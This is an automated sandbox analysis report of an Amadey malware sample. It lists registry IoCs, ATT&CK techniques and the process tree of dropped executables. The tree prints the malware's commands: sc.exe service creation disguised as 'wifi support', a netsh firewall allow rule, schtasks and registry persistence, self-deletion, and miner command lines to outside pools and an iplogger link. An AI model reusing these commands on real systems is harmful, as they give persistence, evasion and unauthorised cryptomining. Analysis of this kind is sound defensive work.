amadey | 571324619fe74cf3215e6b058f36695577e235bea8b15ac841ec47fe961e0978

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-790714498-1549421491-1643397139-1000\Control Panel\International\Geo\Nation	A9EB.exe
Key value queried	\REGISTRY\USER\S-1-5-21-790714498-1549421491-1643397139-1000\Control Panel\International\Geo\Nation	D6B.exe
Key value queried	\REGISTRY\USER\S-1-5-21-790714498-1549421491-1643397139-1000\Control Panel\International\Geo\Nation	mjlooy.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\config\systemprofile:.repos	svchost.exe

Suspicious use of SetThreadContext 5 IoCs

description	pid	Process	procid_target
PID 2500 set thread context of 1972	2500	571324619fe74cf3215e6b058f36695577e235bea8b15ac841ec47fe961e0978.exe	53
PID 2020 set thread context of 1556	2020	A0D1.exe	62
PID 3540 set thread context of 696	3540	zpzbnwns.exe	84
PID 2964 set thread context of 368	2964	AD39.exe	88
PID 3700 set thread context of 1628	3700	ABB1.exe	93

Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.

Detects Pyinstaller 3 IoCs

pyinstaller

resource	yara_rule
behavioral1/files/0x000e000000022135-273.dat	pyinstaller
behavioral1/files/0x000e000000022135-282.dat	pyinstaller
behavioral1/files/0x000e000000022135-272.dat	pyinstaller

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 25 IoCs

pid	pid_target	Process	procid_target
1684	3540	WerFault.exe	81
3720	2856	WerFault.exe	63
828	3972	WerFault.exe	64
4020	1880	WerFault.exe	92
4040	3952	WerFault.exe	97
1896	1628	WerFault.exe	93
3624	3952	WerFault.exe	97
3200	936	WerFault.exe	113
2764	524	WerFault.exe	118
1916	524	WerFault.exe	118
3560	320	WerFault.exe	123
632	320	WerFault.exe	123
2884	4040	WerFault.exe	137
1528	2888	WerFault.exe	134
2136	4040	WerFault.exe	137
2636	3560	WerFault.exe	142
3020	3848	WerFault.exe	146
2692	932	WerFault.exe	154
3268	3560	WerFault.exe	142
3988	3848	WerFault.exe	146
3832	2884	WerFault.exe	162
3428	1568	WerFault.exe	153
3260	1568	WerFault.exe	153
2144	864	WerFault.exe	175
1536	1352	WerFault.exe	177

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	9BAF.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	9BAF.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	9BAF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	571324619fe74cf3215e6b058f36695577e235bea8b15ac841ec47fe961e0978.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	571324619fe74cf3215e6b058f36695577e235bea8b15ac841ec47fe961e0978.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	571324619fe74cf3215e6b058f36695577e235bea8b15ac841ec47fe961e0978.exe

Checks processor information in registry 2 TTPs 5 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	MusNotification.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	MusNotification.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
4080	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
3428	timeout.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
2596	taskkill.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Control Panel\Buses	svchost.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Control Panel\Buses\Config0 = 04f9573edb7ac80724edb47d450dd49d084297dce82e72baa4c0e78ad387891d7255d80380cd945d24edb47d470dd49d024195daf71261adc06d04fda6e22673bbc9154961cda56815db844f7135e5a5644490bdb07b26e4975901c9f58d3c74bbc4103d35f8ad6b11db874e7c3fd4f10b4c90d8f6127db9a4553494b48d6524d198410b31fca16d249ec60b1b79bdf0012dd98cb77f23e5965d07c4f68d387287cc186270a4f93824dc814c723de6a85c1fc7bd606df3df7bda68a7c48d541de5ad743d73a2e6367b9ec60b440dd49d642df4bd02f7a568e16d34fdc48e980fe7ad743d05fcac680ada9a4f7539faa8552df4bd844d14dda46d34fdc48d541de4ad743d04cd945d24edb47d440dd49d642df4bd844d14dda46d34fdc48d541de4ad743d0428955d24	svchost.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1972	571324619fe74cf3215e6b058f36695577e235bea8b15ac841ec47fe961e0978.exe
1972	571324619fe74cf3215e6b058f36695577e235bea8b15ac841ec47fe961e0978.exe
2444	Process not Found
2444	Process not Found
2444	Process not Found
2444	Process not Found
2444	Process not Found
2444	Process not Found
2444	Process not Found
2444	Process not Found
2444	Process not Found
2444	Process not Found
2444	Process not Found
2444	Process not Found
2444	Process not Found
2444	Process not Found
2444	Process not Found
2444	Process not Found
2444	Process not Found
2444	Process not Found
2444	Process not Found
2444	Process not Found
2444	Process not Found
2444	Process not Found
2444	Process not Found
2444	Process not Found
2444	Process not Found
2444	Process not Found
2444	Process not Found
2444	Process not Found
2444	Process not Found
2444	Process not Found
2444	Process not Found
2444	Process not Found
2444	Process not Found
2444	Process not Found
2444	Process not Found
2444	Process not Found
2444	Process not Found
2444	Process not Found
2444	Process not Found
2444	Process not Found
2444	Process not Found
2444	Process not Found
2444	Process not Found
2444	Process not Found
2444	Process not Found
2444	Process not Found
2444	Process not Found
2444	Process not Found
2444	Process not Found
2444	Process not Found
2444	Process not Found
2444	Process not Found
2444	Process not Found
2444	Process not Found
2444	Process not Found
2444	Process not Found
2444	Process not Found
2444	Process not Found
2444	Process not Found
2444	Process not Found
2444	Process not Found
2444	Process not Found

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2444	Process not Found

Suspicious behavior: MapViewOfSection 2 IoCs

pid	Process
1972	571324619fe74cf3215e6b058f36695577e235bea8b15ac841ec47fe961e0978.exe
3368	9BAF.exe

Suspicious use of AdjustPrivilegeToken 34 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3992	MusNotification.exe
Token: SeCreatePagefilePrivilege	3992	MusNotification.exe
Token: SeShutdownPrivilege	2444	Process not Found
Token: SeCreatePagefilePrivilege	2444	Process not Found
Token: SeDebugPrivilege	2964	AD39.exe
Token: SeShutdownPrivilege	2444	Process not Found
Token: SeCreatePagefilePrivilege	2444	Process not Found
Token: SeShutdownPrivilege	2444	Process not Found
Token: SeCreatePagefilePrivilege	2444	Process not Found
Token: SeShutdownPrivilege	2444	Process not Found
Token: SeCreatePagefilePrivilege	2444	Process not Found
Token: SeShutdownPrivilege	2444	Process not Found
Token: SeCreatePagefilePrivilege	2444	Process not Found
Token: SeShutdownPrivilege	2444	Process not Found
Token: SeCreatePagefilePrivilege	2444	Process not Found
Token: SeShutdownPrivilege	2444	Process not Found
Token: SeCreatePagefilePrivilege	2444	Process not Found
Token: SeShutdownPrivilege	2444	Process not Found
Token: SeCreatePagefilePrivilege	2444	Process not Found
Token: SeRestorePrivilege	3720	WerFault.exe
Token: SeBackupPrivilege	3720	WerFault.exe
Token: SeShutdownPrivilege	2444	Process not Found
Token: SeCreatePagefilePrivilege	2444	Process not Found
Token: SeShutdownPrivilege	2444	Process not Found
Token: SeCreatePagefilePrivilege	2444	Process not Found
Token: SeDebugPrivilege	3700	ABB1.exe
Token: SeShutdownPrivilege	2444	Process not Found
Token: SeCreatePagefilePrivilege	2444	Process not Found
Token: SeShutdownPrivilege	2444	Process not Found
Token: SeCreatePagefilePrivilege	2444	Process not Found
Token: SeShutdownPrivilege	2444	Process not Found
Token: SeCreatePagefilePrivilege	2444	Process not Found
Token: SeShutdownPrivilege	2444	Process not Found
Token: SeCreatePagefilePrivilege	2444	Process not Found

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2500 wrote to memory of 1972	2500	571324619fe74cf3215e6b058f36695577e235bea8b15ac841ec47fe961e0978.exe	53
PID 2500 wrote to memory of 1972	2500	571324619fe74cf3215e6b058f36695577e235bea8b15ac841ec47fe961e0978.exe	53
PID 2500 wrote to memory of 1972	2500	571324619fe74cf3215e6b058f36695577e235bea8b15ac841ec47fe961e0978.exe	53
PID 2500 wrote to memory of 1972	2500	571324619fe74cf3215e6b058f36695577e235bea8b15ac841ec47fe961e0978.exe	53
PID 2500 wrote to memory of 1972	2500	571324619fe74cf3215e6b058f36695577e235bea8b15ac841ec47fe961e0978.exe	53
PID 2500 wrote to memory of 1972	2500	571324619fe74cf3215e6b058f36695577e235bea8b15ac841ec47fe961e0978.exe	53
PID 2444 wrote to memory of 3368	2444	Process not Found	60
PID 2444 wrote to memory of 3368	2444	Process not Found	60
PID 2444 wrote to memory of 3368	2444	Process not Found	60
PID 2444 wrote to memory of 2020	2444	Process not Found	61
PID 2444 wrote to memory of 2020	2444	Process not Found	61
PID 2444 wrote to memory of 2020	2444	Process not Found	61
PID 2020 wrote to memory of 1556	2020	A0D1.exe	62
PID 2020 wrote to memory of 1556	2020	A0D1.exe	62
PID 2020 wrote to memory of 1556	2020	A0D1.exe	62
PID 2020 wrote to memory of 1556	2020	A0D1.exe	62
PID 2020 wrote to memory of 1556	2020	A0D1.exe	62
PID 2020 wrote to memory of 1556	2020	A0D1.exe	62
PID 2444 wrote to memory of 2856	2444	Process not Found	63
PID 2444 wrote to memory of 2856	2444	Process not Found	63
PID 2444 wrote to memory of 2856	2444	Process not Found	63
PID 2444 wrote to memory of 3972	2444	Process not Found	64
PID 2444 wrote to memory of 3972	2444	Process not Found	64
PID 2444 wrote to memory of 3972	2444	Process not Found	64
PID 2444 wrote to memory of 3700	2444	Process not Found	65
PID 2444 wrote to memory of 3700	2444	Process not Found	65
PID 2444 wrote to memory of 3700	2444	Process not Found	65
PID 2444 wrote to memory of 2964	2444	Process not Found	66
PID 2444 wrote to memory of 2964	2444	Process not Found	66
PID 2444 wrote to memory of 2964	2444	Process not Found	66
PID 3972 wrote to memory of 1284	3972	A9EB.exe	68
PID 3972 wrote to memory of 1284	3972	A9EB.exe	68
PID 3972 wrote to memory of 1284	3972	A9EB.exe	68
PID 3972 wrote to memory of 4080	3972	A9EB.exe	70
PID 3972 wrote to memory of 4080	3972	A9EB.exe	70
PID 3972 wrote to memory of 4080	3972	A9EB.exe	70
PID 3972 wrote to memory of 3428	3972	A9EB.exe	72
PID 3972 wrote to memory of 3428	3972	A9EB.exe	72
PID 3972 wrote to memory of 3428	3972	A9EB.exe	72
PID 3972 wrote to memory of 3648	3972	A9EB.exe	74
PID 3972 wrote to memory of 3648	3972	A9EB.exe	74
PID 3972 wrote to memory of 3648	3972	A9EB.exe	74
PID 3972 wrote to memory of 2972	3972	A9EB.exe	76
PID 3972 wrote to memory of 2972	3972	A9EB.exe	76
PID 3972 wrote to memory of 2972	3972	A9EB.exe	76
PID 3972 wrote to memory of 3660	3972	A9EB.exe	78
PID 3972 wrote to memory of 3660	3972	A9EB.exe	78
PID 3972 wrote to memory of 3660	3972	A9EB.exe	78
PID 3540 wrote to memory of 696	3540	zpzbnwns.exe	84
PID 3540 wrote to memory of 696	3540	zpzbnwns.exe	84
PID 3540 wrote to memory of 696	3540	zpzbnwns.exe	84
PID 3540 wrote to memory of 696	3540	zpzbnwns.exe	84
PID 3540 wrote to memory of 696	3540	zpzbnwns.exe	84
PID 3204 wrote to memory of 2856	3204	WerFault.exe	63
PID 3204 wrote to memory of 2856	3204	WerFault.exe	63
PID 2964 wrote to memory of 368	2964	AD39.exe	88
PID 2964 wrote to memory of 368	2964	AD39.exe	88
PID 2964 wrote to memory of 368	2964	AD39.exe	88
PID 2964 wrote to memory of 368	2964	AD39.exe	88
PID 2964 wrote to memory of 368	2964	AD39.exe	88
PID 2964 wrote to memory of 368	2964	AD39.exe	88
PID 2964 wrote to memory of 368	2964	AD39.exe	88
PID 2964 wrote to memory of 368	2964	AD39.exe	88
PID 2444 wrote to memory of 1880	2444	Process not Found	92

C:\Users\Admin\AppData\Local\Temp\571324619fe74cf3215e6b058f36695577e235bea8b15ac841ec47fe961e0978.exe
"C:\Users\Admin\AppData\Local\Temp\571324619fe74cf3215e6b058f36695577e235bea8b15ac841ec47fe961e0978.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2500
- C:\Users\Admin\AppData\Local\Temp\571324619fe74cf3215e6b058f36695577e235bea8b15ac841ec47fe961e0978.exe
  "C:\Users\Admin\AppData\Local\Temp\571324619fe74cf3215e6b058f36695577e235bea8b15ac841ec47fe961e0978.exe"
  2⤵
  - Checks SCSI registry key(s)
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  PID:1972

C:\Windows\system32\MusNotification.exe
C:\Windows\system32\MusNotification.exe
1⤵
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
PID:3992

C:\Users\Admin\AppData\Local\Temp\9BAF.exe
C:\Users\Admin\AppData\Local\Temp\9BAF.exe
1⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:3368

C:\Users\Admin\AppData\Local\Temp\A0D1.exe
C:\Users\Admin\AppData\Local\Temp\A0D1.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2020
- C:\Users\Admin\AppData\Local\Temp\A0D1.exe
  C:\Users\Admin\AppData\Local\Temp\A0D1.exe
  2⤵
  - Executes dropped EXE
  PID:1556

C:\Users\Admin\AppData\Local\Temp\A566.exe
C:\Users\Admin\AppData\Local\Temp\A566.exe
1⤵
- Executes dropped EXE
PID:2856
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 2856 -s 552
  2⤵
  - Program crash
  - Checks processor information in registry
  - Enumerates system info in registry
  - Suspicious use of AdjustPrivilegeToken
  PID:3720

C:\Users\Admin\AppData\Local\Temp\A9EB.exe
C:\Users\Admin\AppData\Local\Temp\A9EB.exe
1⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3972
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\bktfcjcw\
  2⤵
  PID:1284
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\zpzbnwns.exe" C:\Windows\SysWOW64\bktfcjcw\
  2⤵
  PID:4080
- C:\Windows\SysWOW64\sc.exe
  "C:\Windows\System32\sc.exe" create bktfcjcw binPath= "C:\Windows\SysWOW64\bktfcjcw\zpzbnwns.exe /d\"C:\Users\Admin\AppData\Local\Temp\A9EB.exe\"" type= own start= auto DisplayName= "wifi support"
  2⤵
  PID:3428
- C:\Windows\SysWOW64\sc.exe
  "C:\Windows\System32\sc.exe" description bktfcjcw "wifi internet conection"
  2⤵
  PID:3648
- C:\Windows\SysWOW64\sc.exe
  "C:\Windows\System32\sc.exe" start bktfcjcw
  2⤵
  PID:2972
- C:\Windows\SysWOW64\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
  2⤵
  PID:3660
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 3972 -s 1044
  2⤵
  - Program crash
  PID:828

C:\Users\Admin\AppData\Local\Temp\ABB1.exe
C:\Users\Admin\AppData\Local\Temp\ABB1.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
PID:3700
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
  2⤵
  PID:1628
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1628 -s 952
    3⤵
    - Program crash
    PID:1896

C:\Users\Admin\AppData\Local\Temp\AD39.exe
C:\Users\Admin\AppData\Local\Temp\AD39.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2964
- C:\Users\Admin\AppData\Local\Temp\AD39.exe
  C:\Users\Admin\AppData\Local\Temp\AD39.exe
  2⤵
  - Executes dropped EXE
  PID:368
- - C:\Users\Admin\AppData\Local\Temp\Gorged.exe
    "C:\Users\Admin\AppData\Local\Temp\Gorged.exe"
    3⤵
    PID:3360
  - - C:\Users\Admin\AppData\Local\Temp\Gorged.exe
      C:\Users\Admin\AppData\Local\Temp\Gorged.exe
      4⤵
      PID:3896
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://iplogger.org/1edhp7
        5⤵
        
        PID:2520
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xd8,0xfc,0x100,0xac,0x104,0x7ffbc27246f8,0x7ffbc2724708,0x7ffbc2724718
        6⤵
        
        PID:2964
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2108,1061125717532905990,12923933826609215757,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2120 /prefetch:2
        6⤵
        
        PID:816
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2108,1061125717532905990,12923933826609215757,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2316 /prefetch:3
        6⤵
        
        PID:2212
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2108,1061125717532905990,12923933826609215757,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2904 /prefetch:8
        6⤵
        
        PID:3560
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2108,1061125717532905990,12923933826609215757,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3772 /prefetch:1
        6⤵
        
        PID:3908
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2108,1061125717532905990,12923933826609215757,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3780 /prefetch:1
        6⤵
        
        PID:380
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2108,1061125717532905990,12923933826609215757,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5224 /prefetch:8
        6⤵
        
        PID:1992
    - - C:\Users\Admin\AppData\Local\Temp\srvs.exe
        
        "C:\Users\Admin\AppData\Local\Temp\srvs.exe"
        5⤵
        
        PID:864
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 864 -s 1788
        6⤵
        Program crash
        
        PID:2144
    - - C:\Users\Admin\AppData\Local\Temp\svs.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svs.exe"
        5⤵
        
        PID:1992
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im svs.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\svs.exe" & del C:\ProgramData\*.dll & exit
        6⤵
        
        PID:3988
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im svs.exe /f
        7⤵
        Kills process with taskkill
        
        PID:2596
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 6
        7⤵
        Delays execution with timeout.exe
        
        PID:3428
- - C:\Users\Admin\AppData\Local\Temp\ferrari2.exe
    "C:\Users\Admin\AppData\Local\Temp\ferrari2.exe"
    3⤵
    PID:1568
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1568 -s 1660
      4⤵
      Program crash
      PID:3428
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1568 -s 1280
      4⤵
      Program crash
      PID:3260

C:\Windows\SysWOW64\bktfcjcw\zpzbnwns.exe
C:\Windows\SysWOW64\bktfcjcw\zpzbnwns.exe /d"C:\Users\Admin\AppData\Local\Temp\A9EB.exe"
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:3540
- C:\Windows\SysWOW64\svchost.exe
  svchost.exe
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:696
- - C:\Windows\SysWOW64\svchost.exe
    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
    3⤵
    PID:3340
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 3540 -s 508
  2⤵
  - Program crash
  PID:1684

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 2856 -ip 2856
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Suspicious use of WriteProcessMemory
PID:3204

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 3972 -ip 3972
1⤵
PID:448

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 484 -p 3540 -ip 3540
1⤵
PID:1032

C:\Users\Admin\AppData\Local\Temp\D6B.exe
C:\Users\Admin\AppData\Local\Temp\D6B.exe
1⤵
- Executes dropped EXE
- Checks computer location settings
PID:1880
- C:\Users\Admin\AppData\Local\Temp\82aa4a6c48\mjlooy.exe
  "C:\Users\Admin\AppData\Local\Temp\82aa4a6c48\mjlooy.exe"
  2⤵
  - Executes dropped EXE
  - Checks computer location settings
  PID:216
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\82aa4a6c48\
    3⤵
    PID:3372
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\82aa4a6c48\
      4⤵
      PID:1404
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN mjlooy.exe /TR "C:\Users\Admin\AppData\Local\Temp\82aa4a6c48\mjlooy.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:4080
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1880 -s 1100
  2⤵
  - Program crash
  PID:4020

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1880 -ip 1880
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:1816

C:\Users\Admin\AppData\Local\Temp\180A.exe
C:\Users\Admin\AppData\Local\Temp\180A.exe
1⤵
- Executes dropped EXE
PID:3952
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 3952 -s 444
  2⤵
  - Program crash
  PID:4040
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 3952 -s 440
  2⤵
  - Program crash
  PID:3624

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 3952 -ip 3952
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:1652

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 1628 -ip 1628
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:2168

C:\Users\Admin\AppData\Local\Temp\1B38.exe
C:\Users\Admin\AppData\Local\Temp\1B38.exe
1⤵
- Executes dropped EXE
PID:1308

C:\Users\Admin\AppData\Local\Temp\1E37.exe
C:\Users\Admin\AppData\Local\Temp\1E37.exe
1⤵
PID:3152

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 484 -p 3952 -ip 3952
1⤵
PID:3560

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p
1⤵
PID:1612

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:936
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 936 -s 872
  2⤵
  - Program crash
  PID:3200

C:\Users\Admin\AppData\Local\Temp\3152.exe
C:\Users\Admin\AppData\Local\Temp\3152.exe
1⤵
PID:1536
- C:\Users\Admin\AppData\Local\Temp\3152.exe
  C:\Users\Admin\AppData\Local\Temp\3152.exe
  2⤵
  PID:228
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c start C:\Users\Admin\AppData\Local\Temp\111.exe
    3⤵
    PID:3360
  - - C:\Users\Admin\AppData\Local\Temp\111.exe
      C:\Users\Admin\AppData\Local\Temp\111.exe
      4⤵
      PID:2888
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2888 -s 992
        5⤵
        Program crash
        
        PID:1528
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c start C:\Users\Admin\AppData\Local\Temp\2.exe
    3⤵
    PID:1284
  - - C:\Users\Admin\AppData\Local\Temp\2.exe
      C:\Users\Admin\AppData\Local\Temp\2.exe
      4⤵
      PID:1204
    - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
        
        "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
        5⤵
        
        PID:1352
      - C:\Windows\system32\WerFault.exe
        
